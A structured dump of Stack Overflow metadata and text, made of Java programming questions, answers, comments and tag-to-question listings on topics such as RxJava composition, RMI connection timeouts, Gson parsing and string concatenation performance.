has body: I'm learning RxJava and, as my first experiment, trying to rewrite the code in the first run() method in this code (cited on Netflix's blog as a problem RxJava can help solve) to improve its asynchronicity using RxJava, i.e. so it doesn't wait for the result of the first Future (f1.get()) before proceeding on to the rest of the code. f3 depends on f1. I see how to handle this, flatMap seems to do the trick: Observable&lt;String&gt; f3Observable = Observable.from(executor.submit(new CallToRemoteServiceA())) .flatMap(new Func1&lt;String, Observable&lt;String&gt;&gt;() { @Override public Observable&lt;String&gt; call(String s) { return Observable.from(executor.submit(new CallToRemoteServiceC(s))); } }); Next, f4 and f5 depend on f2. I have this: final Observable&lt;Integer&gt; f4And5Observable = Observable.from(executor.submit(new CallToRemoteServiceB())) .flatMap(new Func1&lt;Integer, Observable&lt;Integer&gt;&gt;() { @Override public Observable&lt;Integer&gt; call(Integer i) { Observable&lt;Integer&gt; f4Observable = Observable.from(executor.submit(new CallToRemoteServiceD(i))); Observable&lt;Integer&gt; f5Observable = Observable.from(executor.submit(new CallToRemoteServiceE(i))); return Observable.merge(f4Observable, f5Observable); } }); Which starts to get weird (mergeing them probably isn't what I want...) but allows me to do this at the end, not quite what I want: f3Observable.subscribe(new Action1&lt;String&gt;() { @Override public void call(String s) { System.out.println("Observed from f3: " + s); f4And5Observable.subscribe(new Action1&lt;Integer&gt;() { @Override public void call(Integer i) { System.out.println("Observed from f4 and f5: " + i); } }); } }); That gives me: Observed from f3: responseB_responseA Observed from f4 and f5: 140 Observed from f4 and f5: 5100 which is all the numbers, but unfortunately I get the results in separate invocations, so I can't quite replace the final println in the original code: System.out.println(f3.get() + " =&gt; " + (f4…
has answer: http://stackoverflow.com/a/25945556
has comment: http://stackoverflow.com/comment/33781898
tagged with: java
type: Question
has title: RxJava: how to compose multiple Observables with dependencies and collect all results at the end?
score: 20
upvote count: 20
downvote count: 0
has answer: http://stackoverflow.com/a/39857357
has answer: http://stackoverflow.com/a/25274886
answer count: 3
tagged with: functional-programming
tagged with: rx-java
favorite count: 0

stack-overflow
tags question: http://stackoverflow.com/q/22284984
tag name: stack-overflow
tags question: http://stackoverflow.com/q/22188371
tags question: http://stackoverflow.com/q/22314103
tags question: http://stackoverflow.com/q/22202815
type: Tag
tags question: http://stackoverflow.com/q/22177948
tags question: http://stackoverflow.com/q/22194764
tags question: http://stackoverflow.com/q/22182669
tags question: http://stackoverflow.com/q/22218106
tags question: http://stackoverflow.com/q/22318002

http://stackoverflow.com/q/22201803
has comment: http://stackoverflow.com/comment/33704400
has answer: http://stackoverflow.com/a/42326485
tagged with: java
has answer: http://stackoverflow.com/a/22201980
accepted answer: http://stackoverflow.com/a/22201980
has body: I'm currently learning Java. My background is primarily in C#. I'm trying to do a basic "hello world". Currently, i've written the following code in IntelliJ: import java.io.Console; public class HelloWorld { public static void main(String[] args) { System.out.println("hello world."); } } My app compiles successfully. However, when I attempt to run it, I get a runtime error that says: Exception in thread "main" java.lang.ClassNotFoundException: com.company.Main at java.net.URLClassLoader$1.run(URLClassLoader.java:366) at java.net.URLClassLoader$1.run(URLClassLoader.java:355) at java.security.AccessController.doPrivileged(Native Method) at java.net.URLClassLoader.findClass(URLClassLoader.java:354) at java.lang.ClassLoader.loadClass(ClassLoader.java:425) at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:308) at java.lang.ClassLoader.loadClass(ClassLoader.java:358) at java.lang.Class.forName0(Native Method) at java.lang.Class.forName(Class.java:190) at com.intellij.rt.execution.application.AppMain.main(AppMain.java:113) Process finished with exit code 1 I don't understand what's happening. Can someone please help me?
type: Question
score: 5
upvote count: 5
has title: Java - Hello World Error
answer count: 6
has comment: http://stackoverflow.com/comment/33704299
has answer: http://stackoverflow.com/a/22201848
possible better answer: http://stackoverflow.com/a/42326485
downvote count: 0
has answer: http://stackoverflow.com/a/22202057
has answer: http://stackoverflow.com/a/27127656
favorite count: 0
has comment: http://stackoverflow.com/comment/33704332
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/29987529

http://stackoverflow.com/q/22193992
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33700459
downvote count: 0
score: 1
tagged with: ant
tagged with: java
has comment: http://stackoverflow.com/comment/33719561
type: Question
upvote count: 1
tagged with: javascript
tagged with: webstorm
favorite count: 0
has comment: http://stackoverflow.com/comment/33701573
has body: I have a build.xml file that has taks like, release, clean, debug, compress and buildnumber, All tasks work fine but buildnumber task is not right, I think. This is how my buildnumber task looks like in the build.xml file: Creating buildnumber <entry key="Build" type="int" default="0" operation="+"/> This task gets only called when I do release: If I call this ant from Eclipse it creates a minified js file like this mygame-0.0.0-min.js so the buildnumber that is the last number in my case (0.0.0) does not get incremented. If I call ant from Webstorm I got this minified file: mygame-0.0.71-min.js. I mean how is this possible? Buildnumber should not increment because this task is not called by ant because I do no release just "clean" , "debug" and "compress" . Here is how my version.properties file looks like: ## Version properties Version=1 Patch=0 Build=0 What is going wrong with my build.xml file? What am I missing?
has title: Ant creates wrong buildnumber
tagged with: http://stackoverflow.com/tag/xml

http://stackoverflow.com/comment/33897928
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22306400
has text: @Marco13: I thought so, too, but according to other posts on SO, the PQ will only insert the element at the right point, but not update itself if a value changes. That means that my A-Star might take longer to find a path, but would still find it. There should be no other issue with changing values after adding an element. But I'll try your suggestion to remove/add instead of updating an element.

http://stackoverflow.com/comment/33764139
score: 0
type: QuestionComment
type: Comment
has text: http://docs.oracle.com/javase/tutorial/java/javaOO/anonymousclasses.html
comment on: http://stackoverflow.com/q/22234766

algorithm
tags question: http://stackoverflow.com/q/22176813
tags question: http://stackoverflow.com/q/22225218
tags question: http://stackoverflow.com/q/22240113
tags question: http://stackoverflow.com/q/22275541
tag name: algorithm
tags question: http://stackoverflow.com/q/22285501
tags question: http://stackoverflow.com/q/22257598
tags question: http://stackoverflow.com/q/22278988
tags question: http://stackoverflow.com/q/22304329
tags question: http://stackoverflow.com/q/22254158
tags question: http://stackoverflow.com/q/22224236
tags question: http://stackoverflow.com/q/22296987
tags question: http://stackoverflow.com/q/22268589
tags question: http://stackoverflow.com/q/22226265
tags question: http://stackoverflow.com/q/22296083
tags question: http://stackoverflow.com/q/22222994
tags question: http://stackoverflow.com/q/22211377
tags question: http://stackoverflow.com/q/22235319
tags question: http://stackoverflow.com/q/22262251
tags question: http://stackoverflow.com/q/22239054
tags question: http://stackoverflow.com/q/22210802
tags question: http://stackoverflow.com/q/22311529
tags question: http://stackoverflow.com/q/22317024
tags question: http://stackoverflow.com/q/22284906
tags question: http://stackoverflow.com/q/22169214
type: Tag
tags question: http://stackoverflow.com/q/22180065
tags question: http://stackoverflow.com/q/22313288
tags question: http://stackoverflow.com/q/22304188
tags question: http://stackoverflow.com/q/22192293
tags question: http://stackoverflow.com/q/22213766
tags question: http://stackoverflow.com/q/22222388
tags question: http://stackoverflow.com/q/22289144
tags question: http://stackoverflow.com/q/22262320
tags question: http://stackoverflow.com/q/22211521
tags question: http://stackoverflow.com/q/22327022
tags question: http://stackoverflow.com/q/22308585
tags question: http://stackoverflow.com/q/22231257

http://stackoverflow.com/q/22203552
score: 2
answer count: 1
tagged with: connection
favorite count: 0
upvote count: 2
type: UnansweredQuestion
tagged with: connectexception
tagged with: rmi
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/28348953
has title: Java RMI: ConnectException: Connection timed out: connect
downvote count: 0
has body: I realize this question has been asked many times and answered many times (often from EJP, who clearly knows his stuff!), but I am still struggling. I have "stolen" a simple RMI Adding Server and Client. (Thank you, http://www.scs.ryerson.ca/mes/courses/cps530/programs/rmi/Schildt/addTwoNumbers.html who then gives credit to Chapter 24 of "Java 2: The Complete Reference" by P.Naughton and H.Schildt.) No matter what I try I still get this "Connection timed out" Exception. Can anyone see what I've done wrong? I suspect that there's something going on with the firewall, but if so, I don't know what to tell my IT guys to fix and change. Thanks in advance! Interface: public interface AddServerIntf extends Remote { double add(double d1, double d2) throws RemoteException; } Server: public class SimpleRMIExServer { public static void main(String[] args) throws Exception { System.out.println("Class name " + SimpleRMIExServer.class.getSimpleName()); System.out.println("Path " + System.getProperty("user.dir")); System.setProperty("java.rmi.server.codebase", "file:///D:\\SimpleRMIExample\\lib\\SimpleRMIExample.jar"); Registry registry; try { registry = LocateRegistry.createRegistry(1099); } catch (RemoteException remoteException) { registry = LocateRegistry.getRegistry(1099); } AddServerImpl addServerImpl = new AddServerImpl(); registry.bind("AddServer", addServerImpl); System.out.println("Located Registry " + registry.toString()); for (String boundName : registry.list()) { System.out.println("Name bound: " + boundName); } Naming.rebind("SERVERNAME", addServerImpl); System.out.println("Registry: " + registry); System.out.println(""); System.out.println("Remote: " + addServerImpl); } } public class AddServerImpl extends UnicastRemoteObject implements AddServerIntf { public AddServerImpl() throws RemoteException { } @Override public double add(double d1, double d2) throws RemoteException { return d1 + d2; } } Client: public class SimpleRMIExClient { public static void main(String[…

radio-button
tags question: http://stackoverflow.com/q/22220967
tags question: http://stackoverflow.com/q/22233265
tags question: http://stackoverflow.com/q/22181897
tags question: http://stackoverflow.com/q/22206563
tag name: radio-button
type: Tag
tags question: http://stackoverflow.com/q/22232634
tags question: http://stackoverflow.com/q/22228090

http://stackoverflow.com/a/22190593
answers question: http://stackoverflow.com/q/22190284
has body: Try this , this code removes only first and last occurrence of double quotes and not all occurrences of double quotes. String input_string = "\"He said\"I am not intrested\"\""; String after_first_replace = input_string.replaceFirst("\"", ""); String final_input = after_first_replace.substring(0, after_first_replace.lastIndexOf("\"")); System.out.println(final_input);
type: Answer
score: 0

http://stackoverflow.com/comment/33877409
has text: question is how to to do internal changes not to optimize existing parameters
score: 2
type: AnswerComment
comment on: http://stackoverflow.com/a/22217458
type: Comment

http://stackoverflow.com/comment/45459866
has text: Yes, configure `oozie.service.CoordMaterializeTriggerService.lookup.interval` (in seconds) in your Oozie server's `oozie-site.xml` file.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22305368
type: AnswerComment

http://stackoverflow.com/comment/33871201
type: Comment
has text: i went through your example to pass parameter in url..but its not working. anyother idea please
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/22292161

http://stackoverflow.com/comment/33910098
type: QuestionComment
has text: Do you _have_ to use loops?
comment on: http://stackoverflow.com/q/22315106
score: 0
type: Comment

http://stackoverflow.com/comment/34495720
has text: Thanks for your input @littleK. I wanted to be able to deploy message processing instances without Tomcat and also I leaned towards the arguments of Boris the Spider so I'm exploring the stand-alone java process instead for now. I can always switch to Tomcat later anyway. In any case, the broker is definitely standalone.
type: Comment
comment on: http://stackoverflow.com/a/22231549
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33714752
score: 0
has text: At which line `NullPointerException` is pointing to? Are you sure that the error is at `paint()` method?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22206998

http://stackoverflow.com/q/22202583
has comment: http://stackoverflow.com/comment/33706317
has title: How do I access a file in this hierarchy?
tagged with: java
linked to: http://stackoverflow.com/q/22045718
has answer: http://stackoverflow.com/a/22203134
type: Question
has answer: http://stackoverflow.com/a/22202655
linked to: http://stackoverflow.com/q/22185225
has comment: http://stackoverflow.com/comment/33705898
tagged with: eclipse
score: 0
answer count: 2
has body: I have this file hierarchy: Java Resources src model Class.java Web Content datos.txt I need to access from Class.java to datos.txt. I tried using C:\Users\Tomi\Documents\Eclipse\ProyectoWeb\WebContent\datos.txt but when I use this application in another computer, it doesn't work. How can I modify that direction?
type: UnansweredQuestion

http://stackoverflow.com/comment/33826140
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22268195
has text: @PiyushGupta it fails
score: 0

http://stackoverflow.com/a/22223388
upvote count: 1
has body: You want to format a double value. String it = String.format("%f", 1.0e7); should do it.
answers question: http://stackoverflow.com/q/22223242
downvote count: 0
score: 1
type: Answer

http://stackoverflow.com/a/22277756
has body: The problem is that your objects aren't returning equal hashcodes. You need to use Arrays.deepHashCode() instead (see e.g. http://ideone.com/qPyWLh). This appears to be a known bug in Eclipse: https://bugs.eclipse.org/bugs/show_bug.cgi?id=422717.
accepted answer of: http://stackoverflow.com/q/22277707
answers question: http://stackoverflow.com/q/22277707
type: Answer
score: 2
upvote count: 2
type: AcceptedAnswer
downvote count: 0

erasure
tag name: erasure
tags question: http://stackoverflow.com/q/22273752
tags question: http://stackoverflow.com/q/22307331
type: Tag

http://stackoverflow.com/comment/33922225
has text: but why is the process this slow?
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22322616

http://stackoverflow.com/q/22212911
has comment: http://stackoverflow.com/comment/33725537
answer count: 0
score: 1
tagged with: java
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/33725580
has comment: http://stackoverflow.com/comment/33725380
has comment: http://stackoverflow.com/comment/33725436
has comment: http://stackoverflow.com/comment/33725420
downvote count: 0
has body: Given the following directory structure: x-| |- GoDeep.class | |- test-| |- MyJar.jar | |- myApp-| |-Foo.java |-Foo.class And given the contents of GoDeep.java and Foo.java: 3. public class GoDeep { 4. public static void main(String[] args) { 5. System.out.println(myApp.Foo.d); 6. } 7. } 3. package myApp; 4. public class Foo { public static int d = 8; } And MyJar.jar contains the following entry: myApp/Foo.class If the current directory is x, which commands will successfully execute GoDeep.class and produce the output 8? (Choose all that apply.) A. java GoDeep B. java -classpath . GoDeep C. java -classpath test/MyJar.jar GoDeep D. java GoDeep -classpath test/MyJar.jar E. java GoDeep -classpath test/MyJar.jar:. F. java -classpath .:test/MyJar.jar GoDeep G. java -classpath test/MyJar.jar:. GoDeep I think answer should be B) F) and G). However, book says F) and G). I know that when we use "java" , both files (GoDeep and Foo) must be checked in classpath set as a default (i.e x). whereas in case of "javac" it will only search a file which is needed (Foo) to execute our original file(GoDeep) ; the original file is not been searched in classpath. if i am wrong please correct me. In option B) we used "java -classpath . GoDeep" and our current directory is x. Then using (.) it will check in current directory. In this case both files are available in x directory then why its not correct option? Thanks in advance. Question is from SCJP6
favorite count: 0
has comment: http://stackoverflow.com/comment/33725737
type: UnansweredQuestion
has title: Java -classpath directory traversal

http://stackoverflow.com/comment/107663379
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/22209887
type: Comment
has text: That's a **bad** practice -1

http://stackoverflow.com/comment/33749945
type: Comment
type: QuestionComment
has text: @maczikasz My bad, the input should be have an empty line before read the next line (id and amount)
comment on: http://stackoverflow.com/q/22217200
score: 0

http://stackoverflow.com/q/22259768
tagged with: jsf
tagged with: primefaces
tagged with: java
has body: JSF / PF 3.5 / Hibernate A Help on this please. Im getting error when submitting form only for saving javax.servlet.ServletException: NaturezaOperacao cannot be cast to java.lang.String &lt;p:autoComplete id="txtCFOP" minQueryLength="2" value="#{NatOpMB.naturezaOperacao}" completeMethod="#{NatOpMB.autoCompleteQuery}" var="natop" required="true" converter="autoCompleteConverter" itemValue="#{natop}" itemLabel="#{natop.descfopDE}"&gt; &lt;p:column&gt; #{natop.descfopDE} &lt;/p:column&gt; &lt;p:column width="250"&gt; #{natop.desdescricao} &lt;/p:column&gt; &lt;/p:autoComplete&gt; BEAN : private NaturezaOperacao naturezaOperacao; public List&lt;NaturezaOperacao&gt; autoCompleteQuery(String query) { List&lt;NaturezaOperacao&gt; results = new ArrayList&lt;NaturezaOperacao&gt;(); results = naturezaOperacaoServico.buscar(NaturezaOperacao.SEARCHNAMEDQUERY); return results; } ENTITY : public class NaturezaOperacao{ private static final long serialVersionUID = -4560310741558931229L; @Id @GeneratedValue(strategy=GenerationType.IDENTITY) @Column(name="idt_cfop",unique=true, nullable=false) private Integer id; @Column(name="des_cfopDE", length=18,unique=false, nullable=true) private String descfopDE; @Override public Integer getId() { return id; } @Override public void setId(Integer id) { this.id=id; } public String getDescfopDE() { return descfopDE; } public void setDescfopDE(String descfopDE) { this.descfopDE = descfopDE; } } CONVERTER : @FacesConverter(value="autoCompleteConverter") public class autoCompleteConverter implements Converter { private static List&lt;NaturezaOperacao&gt; entities = new ArrayList&lt;NaturezaOperacao&gt;(); @Override public String getAsString(FacesContext arg0, UIComponent arg1, Object arg2) { entities.add((NaturezaOperacao)arg2); return String.valueOf(((NaturezaOperacao) arg2).getDescfopDE()); } @Override public Object getAsObject(FacesContext arg0, UIComponent arg1, String submittedValue) { if (submittedValue.trim().equals("")) { return null; } els…
has answer: http://stackoverflow.com/a/22334280
type: Question
tagged with: autocomplete
score: 0
accepted answer: http://stackoverflow.com/a/22334280
answer count: 1
has title: primefaces autocomplete javax.servlet.ServletException
type: AnsweredQuestion

http://stackoverflow.com/a/68186435
answers question: http://stackoverflow.com/q/22195093
type: Answer
downvote count: 0
score: 1
has body: much easier now String today = LocalDateTime.now().format(DateTimeFormatter.ofPattern("MM-dd")); String tomorrow = LocalDate.now().plusDays(1).format(DateTimeFormatter.ofPattern("MM-dd"));
upvote count: 1

http://stackoverflow.com/q/22272863
downvote count: 2
score: 11
has comment: http://stackoverflow.com/comment/33833238
has comment: http://stackoverflow.com/comment/33833200
type: Question
tagged with: performance
linked to: http://stackoverflow.com/q/47605
tagged with: java
duplicate of: http://stackoverflow.com/q/47605
has answer: http://stackoverflow.com/a/22272872
has title: Why is ".concat(String)" so much faster than "+"?
answer count: 1
tagged with: string
tagged with: string-concatenation
favorite count: 0
has comment: http://stackoverflow.com/comment/38667150
has comment: http://stackoverflow.com/comment/33833344
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/82430315
upvote count: 13
has body: Some code I made compares the time it takes to concatenate strings with "string" + "string": for(int i = 0; i &lt; 100000000L; i++) { String str2 = str + str; } to "string".concat("string"): for(int i = 0; i &lt; 100000000L; i++) { String str2 = str.concat(str); } Where str == "string". The output I get is consistently similar to this, although the average difference is generally closer to 61 nanoseconds: String str2 = str + str: 118.57349468 nanoseconds String str2 = str.concat(str): 52.36809985 nanoseconds .concat is faster than + by 66.20539483 nanoseconds This shows that even with the loop and assignment to a new string, .concat is faster than + by a factor of more than two. When I use an even longer string (str == "this is a really really very long string that is very long"), it is faster by about a factor of three. This is especially strange, because if .concat is faster, shouldn't they make + compile to .concat? My main question is: Why is .concat faster? Full code, in case you want to run it and experiment with it: public class TimeCompare { public static void main(String[] args) { final long times = 100000000L; String str = "String"; long start1 = System.nanoTime(); for(int i = 0; i &lt; times; i++) { String str2 = str + str; } long end1 = System.nanoTime(); long time1 = end1 - start1; System.out.println((double)(time1) / times); System.out.println(); long start2 = System.nanoTime(); for(int i = 0; i &lt; times; i++) { String str2 = str.concat(str); } long end2 = System.nanoTime(); long time2 = end2 - start2; System.out.println((double)(time2) / times); System.out.println(); System.out.println(".concat is faster than \"+\" by " + ((double)(time1 - time2) / times) + " nanoseconds"); } }

http://stackoverflow.com/comment/33907027
type: Comment
score: 2
comment on: http://stackoverflow.com/a/22306514
type: AnswerComment
has text: @kleopatra I disagree. I haven't met a layout yet in 10+ years that I couldn't whip up in short order, by hand, using the standard LMs, and we get some crazy requirements.

http://stackoverflow.com/comment/33698701
type: Comment
has text: Found the solution, just do UpdateUI(); on the main JPanel where everything is put on
type: AnswerComment
comment on: http://stackoverflow.com/a/22194539
score: 0

http://stackoverflow.com/a/24895133
has comment: http://stackoverflow.com/comment/55436443
type: Answer
has body: A good use of a MultivaluedMap is with UriInfo. If you are writing a REST endpoint that takes in several QueryParams, you can use UriInfo to get all of the params and extract them using the getQuery() call. For example: public void get(@Context UriInfo ui) { MultivaluedMap params = ui.getRequestUri().getQuery(); // now do what you want with your params } The MultivaluedMap is helpful because you could have parameters with multiple values. For example if it was a customer database and you wanted to get several customers, your map would have the key of "customerID" and several values linked to it.
upvote count: 1
answers question: http://stackoverflow.com/q/22324091
downvote count: 1
score: 0

http://stackoverflow.com/a/22288479
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22286124
has body: The easiest way would be to use a service like pusher.com or another push service. When user1 submits a form on your server, the controller would call pusher.trigger('my-channel', 'my-event', 'some-message'); User2 has a web page loaded which has the pusher JavaScript library loaded and is listening to 'my-channel': var pusher = new Pusher('YOUR_APP_KEY'); var channel = pusher.subscribe('my-channel'); channel.bind('my-event', function(data) { alert('An event was triggered with message: ' + data.message); }); So basically, your server notifies pusher of the event, and pusher pushes the message to the other user. You can use Tomcat's built-in websocket support as well, but it is more work to setup.
has comment: http://stackoverflow.com/comment/33948082

http://stackoverflow.com/comment/33771402
comment on: http://stackoverflow.com/q/22199627
has text: Was able to create a usable test stub for the Combiner by extending the U and W types from Number. That said, I agree a mock would be a more flexible approach.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33747721
has text: where should i add this
comment on: http://stackoverflow.com/a/22226206
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/22324282
type: Answer
score: 8
downvote count: 0
has comment: http://stackoverflow.com/comment/33965652
has body: You can use Firebase's REST API to get access to the "raw" data. From: https://www.firebase.com/docs/rest-api.html You can use any Firebase URL as a REST endpoint. All you need to do is append ".json" to the end of the URL and send a request from your favorite HTTPS client. Note that HTTPS is required. Firebase only responds to encrypted traffic so that your data remains safe. curl https://SampleChat.firebaseIO-demo.com/users/jack/name.json A successful request will be indicated by a 200 OK HTTP status code. The response will contain the data being retreived: {"first":"Jack", "last": "Sparrow"} That same page also mentions a Java wrapper project: https://github.com/bane73/firebase4j
upvote count: 8
answers question: http://stackoverflow.com/q/22323242

http://stackoverflow.com/q/22174047
has answer: http://stackoverflow.com/a/22174130
answer count: 3
upvote count: 1
possible better answer: http://stackoverflow.com/a/22174272
has answer: http://stackoverflow.com/a/22174272
favorite count: 0
has title: checking if two arraylist objects matches
has comment: http://stackoverflow.com/comment/33654479
has body: how do I check if an object of an arraylist matches with another one no matter the order of the elements and their number of occurrences. let's say I have: obj1 contains "boy", "girl", "kid" obj2 contains "girl", "kid", "boy", "girl" obj3 contains "woman", "boy", "girl", "kid" all of arraylist I want the program to achieve this: obj1 = obj2 true obj1 = obj3 false obj2 = obj3 false
has comment: http://stackoverflow.com/comment/33654723
type: AnsweredQuestion
downvote count: 0
score: 1
tagged with: java
linked to: http://stackoverflow.com/q/16386278
type: Question
has comment: http://stackoverflow.com/comment/33654759
has answer: http://stackoverflow.com/a/22174145
accepted answer: http://stackoverflow.com/a/22174145
has comment: http://stackoverflow.com/comment/33654514

http://stackoverflow.com/comment/33902742
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22307899
has text: I'd expect doubles or a repeat throw about one click in six. Are you seeing a different result?
type: Comment

http://stackoverflow.com/q/22271880
tagged with: jbutton
type: AnsweredQuestion
has title: NullPointerException when using Action Listener for JButton
tagged with: java
has body: I've been making this program and for some reason I get a Null Pointer Exception when I try to use an Action Listener for a JButton. Sorry that most of my code is in the main method, I kind of suck at the object oriented part of object oriented programming.The problem starts at the first actionlistener after the while(true) statement in the main method. public class SignInFrame extends JFrame { /** * */ private static final long serialVersionUID = 1L; private JPanel contentPane; private static JTextField input; private static JButton btnNext; private static JButton btnYes; private static JButton btnNo; private static JLabel output; private static String idstring; private static int yesno = 0; private static int id = 0; /** * Launch the application. */ public static int getIndex(int[] array, int x){ int index = -1; for(int i = 0; i &lt; array.length; i++){ if(array[i] == x) index = i; } return index; } public static void main(String[] args) throws Exception { EventQueue.invokeLater(new Runnable() { public void run() { try { SignInFrame frame = new SignInFrame(); frame.setVisible(true); } catch (Exception e) { e.printStackTrace(); } } }); int i; DateFormat dateFormat = new SimpleDateFormat("MM_dd_yyyy"); Date date = new Date(); File file = new File("Attendance/" + (dateFormat.format(date) + "_Attendance.txt")); File numfile = new File("DataBase/Student Number DataBase.txt"); File namfile = new File("DataBase/Student Name DataBase.txt"); file.getParentFile().mkdirs(); PrintWriter info = new PrintWriter(file); PrintWriter numdata = new PrintWriter(new FileWriter(numfile,true)); PrintWriter namdata = new PrintWriter(new FileWriter(namfile,true)); @SuppressWarnings("resource") Scanner sc = new Scanner(namfile); List&lt;String&gt; lines = new ArrayList&lt;String&gt;(); while (sc.hasNextLine()) { lines.add(sc.nextLine()); } String[] namedatabase = lines.toArray(new String[150]); @SuppressWarnings("resource") Scanner scc = new Scanner(numfile); List&lt;Integer&gt; numbers = …
type: Question
has comment: http://stackoverflow.com/comment/33831506
has comment: http://stackoverflow.com/comment/33831467
tagged with: actionlistener
has comment: http://stackoverflow.com/comment/33831484
has answer: http://stackoverflow.com/a/22272129
has comment: http://stackoverflow.com/comment/33831415
has answer: http://stackoverflow.com/a/22272156
score: 0
accepted answer: http://stackoverflow.com/a/22272156
tagged with: nullpointerexception
answer count: 2
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/33831659
has comment: http://stackoverflow.com/comment/33831347
has comment: http://stackoverflow.com/comment/33831129
favorite count: 0
possible better answer: http://stackoverflow.com/a/22272129

http://stackoverflow.com/comment/33867153
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22291000
has text: I keep getting really close, but not quite there. editing original post and hoping you see this.

http://stackoverflow.com/comment/33690486
type: Comment
type: QuestionComment
has text: And what have you tried so far? And how doesn't it work?
score: 4
comment on: http://stackoverflow.com/q/22194165

http://stackoverflow.com/comment/33735607
comment on: http://stackoverflow.com/q/22208923
has text: and this one too http://stackoverflow.com/questions/18025498/how-to-configure-embedded-jetty-to-access-jersey-resources
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22266797
has title: Implement my own Java exception
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33822445
tagged with: java
has answer: http://stackoverflow.com/a/22266834
type: Question
has body: I have to implement my own exception (a GameException) which is thrown by the alpha beta algorithm in a nullsumm game. Is this correct? import java.lang.Exception; public class GameException extends Exception { public static final long serialVersionUID = 3654258946527845L; public static final String NoValidMoves = "There are noe valid moves!"; GameException(String Message) { super(Message); } GameException() { } }
linked to: http://stackoverflow.com/q/2054022
score: 0
tagged with: exception
answer count: 1

http://stackoverflow.com/a/22180801
type: Answer
has body: How about this? @info.notes.take(12) Or java-style like this: @info.notes.substring(0, 12)
has comment: http://stackoverflow.com/comment/33667221
has comment: http://stackoverflow.com/comment/33668250
has comment: http://stackoverflow.com/comment/33668830
upvote count: 12
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22180745
answers question: http://stackoverflow.com/q/22180745
type: AcceptedAnswer
score: 12

http://stackoverflow.com/comment/57846856
has text: Still wondering when Java 8 will finally come to Android phones.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/22195331
type: AnswerComment

design-patterns
tags question: http://stackoverflow.com/q/22261129
tag name: design-patterns
tags question: http://stackoverflow.com/q/22195116
tags question: http://stackoverflow.com/q/22256656
tags question: http://stackoverflow.com/q/22223235
tags question: http://stackoverflow.com/q/22289886
tags question: http://stackoverflow.com/q/22171647
type: Tag
tags question: http://stackoverflow.com/q/22179670
tags question: http://stackoverflow.com/q/22211309
tags question: http://stackoverflow.com/q/22326901
tags question: http://stackoverflow.com/q/22184736
tags question: http://stackoverflow.com/q/22171505
tags question: http://stackoverflow.com/q/22210277
tags question: http://stackoverflow.com/q/22249573
tags question: http://stackoverflow.com/q/22312921

http://stackoverflow.com/q/22271779
accepted answer: http://stackoverflow.com/a/22271806
has title: is it possible to use Gson.fromJson() to get ArrayList<ArrayList<String>>?
answer count: 1
downvote count: 0
favorite count: 0
tagged with: arraylist
upvote count: 30
linked to: http://stackoverflow.com/q/22280055
tagged with: generics
score: 30
has answer: http://stackoverflow.com/a/22271806
type: AnsweredQuestion
tagged with: java
has body: let's say i have a json array of arrays String jsonString = [["John","25"],["Peter","37"]]; i would like to parst this into ArrayList&lt;ArrayList&lt;String&gt;&gt; objects. when i used Gson.fromJson(jsonString,ArrayList&lt;ArrayList&lt;String&gt;&gt;.class) it doesn't seem to work and i did a work around by using Gson.fromJson(jsonString,String[][].class) is there a better way to do this?
tagged with: gson
type: Question

http://stackoverflow.com/a/22182830
has comment: http://stackoverflow.com/comment/33986775
has comment: http://stackoverflow.com/comment/33986623
has comment: http://stackoverflow.com/comment/33678505
has comment: http://stackoverflow.com/comment/33672818
has comment: http://stackoverflow.com/comment/33988399
has comment: http://stackoverflow.com/comment/33986928
has comment: http://stackoverflow.com/comment/33673099
has comment: http://stackoverflow.com/comment/33672611
has comment: http://stackoverflow.com/comment/33672700
upvote count: 3
score: 0
downvote count: 3
has body: A StackOverflow happens when a function call is made and the stack is full. Just like an ArrayOutOfBoundException. It cannot corrupt anything, in fact it is very possible to catch it and recover from it. It usually happens as the result of an uncontrolled recursion, but it can also be caused by simply have a very deep stack of functions call.
type: Answer
has comment: http://stackoverflow.com/comment/33986808
has comment: http://stackoverflow.com/comment/33749129
answers question: http://stackoverflow.com/q/22182669
has comment: http://stackoverflow.com/comment/33986835
has comment: http://stackoverflow.com/comment/33989108
has comment: http://stackoverflow.com/comment/33673009
has comment: http://stackoverflow.com/comment/33700798
has comment: http://stackoverflow.com/comment/33988252
has comment: http://stackoverflow.com/comment/33752028

http://stackoverflow.com/a/22287796
answers question: http://stackoverflow.com/q/22219392
type: Answer
has body: I had the same problema also. I fixed the problem follow the Werner recomendation. Eclipse --> Help --> Install new software --> Pasted URL http://dl-ssl.google.com/android/eclipse/ pressed Enter, but It's important check it out and remove before any copy of the plugin installed in available Software Sites.
score: 0

http://stackoverflow.com/comment/33860310
type: Comment
comment on: http://stackoverflow.com/q/22287723
type: QuestionComment
score: 0
has text: Why don't each user set use different classes? Then you can encapsulate the semantics better? In other words why only one API? Why not provide 3 APIs?

http://stackoverflow.com/q/22268492
tagged with: scalar
upvote count: 2
answer count: 1
has answer: http://stackoverflow.com/a/22269491
